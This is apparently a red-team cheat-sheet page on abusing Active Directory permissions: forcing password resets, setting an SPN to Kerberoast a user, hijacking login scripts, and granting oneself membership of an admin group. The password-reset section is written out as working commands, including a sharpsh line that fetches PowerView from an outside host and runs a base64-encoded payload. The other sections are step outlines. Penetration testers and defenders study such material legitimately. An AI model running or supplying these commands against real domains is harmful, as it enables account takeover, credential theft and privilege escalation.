githubEdit

ACLs Abuse

ForcePasswordChange on User

1) Use Powerview, we'll base64 encode the below - Password for nina will be Password123!

Set-DomainUserPassword -Identity user -AccountPassword $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
sharpsh -t 20 -- -u http://10.10.10.11/powershell-scripts/PowerView.ps1 -e -c U2V0LURvbWFpblVzZXJQYXNzd29yZCAtSWRlbnRpdHkgdXNlciAtQWNjb3VudFBhc3N3b3JkICQoQ29udmVydFRvLVNlY3VyZVN0cmluZyAnUGFzc3dvcmQxMjMhJyAtQXNQbGFpblRleHQgLUZvcmNlKQ==

2) Check if shaun's password has been changed

sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainUser -Identity user | select pwdlastset"'

GenericWrite on User

Two things can be done

  1. Add SPN and Kerberoast

  2. Change login script (check login frequency of the user)

Set SPN and perform kerberoasting

1) Check all properties of user

sharpsh -t 20 -- '-u http://10.10.10.11/powershell-scripts/PowerView.ps1 -c "Get-DomainUser user | select lastlogon"'

2) Set SPN to pwned/service on user

3) Get hash for the user based on set SPN

4) Try and crack hashes using hashcat

Change login script

1) This needs to be an executable or can be a .bat file containing powershell oneliner

2) Setup share

3) Set the scriptpath attribute to .exe file

WriteDacl on Group

The user attacker can writedacl on admins group and add users within it

Windows

1) Load script

2) WriteMembers does not work for some reason, use All instead

3) Add the user into admins

4) Check the group members if user is now part of it

Linux

1) Add ACL for write permissions on the group admins for attacker

2) Use PTH NET to add the user account into attacker

3) Verify if the user account has been added

Last updated